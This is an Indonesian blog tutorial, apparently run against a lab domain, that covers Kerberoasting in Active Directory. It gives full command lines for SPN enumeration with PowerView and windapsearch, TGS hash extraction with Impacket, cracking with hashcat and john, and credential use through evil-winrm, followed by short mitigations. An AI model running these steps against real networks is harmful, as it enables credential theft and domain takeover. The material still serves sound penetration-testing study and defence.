Kerberos Attack: Kerberoasting

Active Directory Attack: Kerberoasting. Kerberoasting adalah serangan yang ditujukan untuk memperoleh hash kata sandi dari service account di Active Directory dengan menggunakan ticket Kerberos yang dienkripsi. Penyerang kemudian melakukan cracking hash tersebut untuk mendapatkan akses ke sistem atau jaringan.

SPNs

Service Principal Name (SPN) adalah unique identifier untuk sebuah instansi layanan. Active Directory Domain Services (AD DS) dan Windows menyediakan dukungan untuk Service Principal Names (SPNs), yang merupakan komponen kunci dari mekanisme Kerberos menyangkut bagaimana seorang klien mengautentikasi sebuah layanan. SPN sendiri digunakan untuk mengaitkan sebuah layanan pada server tertentu dengan sebuah akun layanan di Active Directory.

Kerberoasting

Kerberoasting adalah teknik yang memungkinkan seorang penyerang untuk mencuri tiket KRB_TGS, untuk melakukan serangan brute force atau dictionary attack terhadap hash service account untuk mengekstrak kata sandinya. Jika kita memiliki akses ke pengguna domain yang valid, kita dapat meminta KDC untuk mengeluarkan TGS yang valid untuk layanan apa pun.

Dalam teknik post-exploitation yang berkaitan dengan Active Directory, kerberoasting merupakan salahsatu teknik yang cukup populer karena pada beberapa case service account yang rentan terhadap serangan ini masuk kedalam grup Domain Admin, sehingga berhasil melakukan takeover akun melalui kerberoasting sama dengan melakukan compromise dari Domain Controller.

Detection

Oke, untuk mendeteksi akun yang rentan terhadap serangan kerberoasting ada berbagai cara. Jika kalian berhasil mendapatkan akses salahsatu domain user atau berhasil melakukan compromise computer yang tergabung dalam Active Directory, kalian bisa gunakan PowerView untuk melakukan enumerasi service account. Jalankan perintah:

powershell -ep bypass

Import-Module \PowerView.ps1

Get-NetUser -SPN


Terlihat pada output PowerView diatas bahwa evasvc merupakan service account.

Cara kedua adalah menggunakan tool windapsearch. Yang dibutuhkan hanyalah domain user yang valid.

windapsearch --dc 172.16.8.139 -d evangelion.lab -u 'asuka' -p 'P@ssw0rd2033' -m user-spns

Atau, kita bisa gunakan Bloodhound CE untuk melihat kerberoastable user.

Klik Explore > CypherPre-built SearchesAll Kerberoastable users.

Exploitation

Ada banyak cara untuk mengeksploitasi akun yang rentan terhadap kerberoasting seperi menggunakan Rubeus, Mimikatz, dll. Namun disini saya lebih suka menggunakan Impacket script karena kita bisa mengeksploitasinya secara remote.

impacket-GetUserSPNs 'EVANGELION.lab/asuka:P@ssw0rd2033' -dc-ip 172.16.8.139 -request -output spns.txt

Oke kita sudah mendapatkan hash TGS dari user SPNs. Selanjutnya adalah melakukan cracking pada hash tersebut. Disini saya akan mencontohkan penggunaan john dan juga hashcat untuk melakukan cracking hash ini.

Menggunakan hashcat:

hashcat -m 13100 spns.txt /usr/share/wordlists/rockyou-utf8.txt

Atau cara kedua adalah menggunakan john:

john --wordlist=/usr/share/wordlists/rockyou.txt spns.txt

Untuk validasi kredensialnya kalian bisa gunakan NetExec atau Evil-WinRM.

netexec winrm 172.16.8.139 -u 'evasvc' -p 'Serviceworks1'

evil-winrm -i 172.16.8.139 -u 'evasvc' -p 'Serviceworks1'

Mitigasi

Oke, mitigasi dari serangan kerberoasting adalah sebagai berikut:

  • Gunakan password yang kuat, kompleks, dan tidak ada di list wordlist
  • Jangan masukkan service account kedalam grup dengan hak akses tinggi seperti Domain Admins
  • Batasi hak akses dari service account

Mungkin sekian sharing kali ini. Jika ada yang ingin ditanyakan silahkan tinggalkan komentar.


Posting Komentar untuk "Kerberos Attack: Kerberoasting"